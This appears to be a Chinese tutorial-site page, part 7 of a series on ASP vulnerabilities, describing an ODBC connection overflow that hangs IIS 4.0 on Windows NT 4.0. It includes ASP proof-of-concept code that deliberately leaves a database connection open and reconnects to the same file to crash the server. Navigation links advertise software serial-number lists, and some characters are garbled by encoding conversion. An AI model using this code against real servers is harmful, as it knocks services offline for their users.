- 1PS提示：因為圖層已鎖定，無法編輯圖層的處理方法
- 2Adobe Illustrator CS5 序列號大全
- 3picacg蘋果版怎么找不到|picacg ios版是不是下架了介紹
- 4ACDsee注冊碼免費分享（含ACDsee18、ACDsee10等版本）
- 5蘋果iphone自動時間不準(zhǔn)確的多種校正方法
- 6PDF瀏覽器能看3D文件嗎？PDF瀏覽器看3D文件圖文詳細(xì)教程
- 7Potato(馬鈴薯聊天)怎么注冊不了|Potato不能注冊處理方法介紹
- 8Potato(土豆聊天)怎么換頭像|Potato app更改頭像方法介紹
- 9ipad版office如何激活? office365激活的圖文說明教程
- 10最新的Adobe Illustrator CS4序列號大全
- 11Mac怎么通過設(shè)置VPN來登錄youtube等國外網(wǎng)站
- 12眼萌app怎么色弱測試 眼萌app色弱測試圖文說明教程
聊天工具辦公軟件殺毒教程系統(tǒng)工具圖形圖像電腦學(xué)習(xí)應(yīng)用軟件網(wǎng)絡(luò)軟件蘋果應(yīng)用注冊碼網(wǎng)站教程技術(shù)開發(fā)安卓教程其它教程
您當(dāng)前所在位置：網(wǎng)視手游站 -> 網(wǎng)站教程 -> ASP漏洞區(qū)分與處理方法(7)
ASP漏洞區(qū)分與處理方法(7)
發(fā)表時間：2024-02-18 來源：明輝站整理相關(guān)軟件相關(guān)文章人氣：11
[摘要]18、MS ODBC數(shù)據(jù)庫連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊 漏 洞 描 述: Microsoft ODBC數(shù)據(jù)庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數(shù)據(jù)庫相關(guān))。 如果不取消連接而直接和第二個數(shù)據(jù)庫相連接，可能導(dǎo)致服務(wù)停止。 影響系統(tǒng): ODBC 版本: 3.5...
18、MS ODBC數(shù)據(jù)庫連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊
漏 洞 描 述:
Microsoft ODBC數(shù)據(jù)庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數(shù)據(jù)庫相關(guān))。
如果不取消連接而直接和第二個數(shù)據(jù)庫相連接，可能導(dǎo)致服務(wù)停止。
影響系統(tǒng):
ODBC 版本: 3.510.3711.0
ODBC Access驅(qū)動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測方法如下:
ODBC 連接源名稱: miscdb
ODBC 數(shù)據(jù)庫型號: MS Access
ODBC 假設(shè)路徑: d:\data\misc.mdb
ASP代碼如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在這種情況下，IIS處理進(jìn)程將會停頓，CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動計算機(jī)才能恢復(fù)。
（出處：熱點網(wǎng)絡(luò)）
標(biāo)簽：ASP漏洞區(qū)分與處理辦法(7)
推薦資訊 總?cè)藲獍?/span>
最新教程 本月人氣
- 1從VB 6.0到VB.NET的轉(zhuǎn)換(1)
- 2設(shè)計模式之Chain of Responsibility
- 3.net的reflection (1)
- 4在GD中輸出漢字的函數(shù)的改進(jìn)
- 5在GD中輸出漢字的函數(shù)的改進(jìn)
- 6如何充分?jǐn)U充VB技巧
- 7如何在VB中完成繪圖區(qū)的大10字光標(biāo)
- 8轉(zhuǎn)貼：開發(fā)大型PHP項目的方法(5)
- 9已經(jīng)寫好了同步規(guī)范文檔,可惜這里無法貼圖,就發(fā)一小段
- 10使用WSE 加密SOAP報文(6
- 11.NET語言的選擇
- 12如何設(shè)置對VB數(shù)據(jù)庫連接的動態(tài)路徑
- 1uc瀏覽器去廣告圖文說明教程：uc瀏覽器廣告過濾技巧使用方法_綠茶安卓網(wǎng)
- 2字符串根據(jù)多個字符進(jìn)行分割的一種方法
- 3使用c#制作容易的留言板(1)
- 4華為p7移動版什么時候上市？華為p7手機(jī)移動版上市時間
- 5聯(lián)想黃金斗士s8預(yù)約圖文說明教程(附聯(lián)想s8預(yù)約網(wǎng)址)
- 6聯(lián)想黃金斗士s8加持版與規(guī)范版的區(qū)別有哪一些？s8加持版/規(guī)范版區(qū)別
- 7陌陌如何舉報？陌陌舉報好友圖文說明教程_綠茶安卓網(wǎng)
- 8陌陌群聊如何@別人？陌陌群聊@別人方法_綠茶安卓網(wǎng)
- 93星s4手勢感應(yīng)如何用？3星Galaxy s4手勢感應(yīng)視頻圖文說明教程
- 10lumia920 Amber更新新增技巧演示視頻
- 11用php寫類似microsoft的挖地雷游戲
- 12我對XSL的理解
相關(guān)文章
- 從VB 6.0到VB.NET的轉(zhuǎn)換(1)
- 設(shè)計模式之Chain of Responsibility
- .net的reflection (1)
- 在GD中輸出漢字的函數(shù)的改進(jìn)
- 在GD中輸出漢字的函數(shù)的改進(jìn)
- 如何充分?jǐn)U充VB技巧
- 如何在VB中完成繪圖區(qū)的大10字光標(biāo)
- 轉(zhuǎn)貼：開發(fā)大型PHP項目的方法(5)
- 已經(jīng)寫好了同步規(guī)范文檔,可惜這里無法貼圖,就發(fā)一小段
- 使用WSE 加密SOAP報文(6
- .NET語言的選擇
- 如何設(shè)置對VB數(shù)據(jù)庫連接的動態(tài)路徑
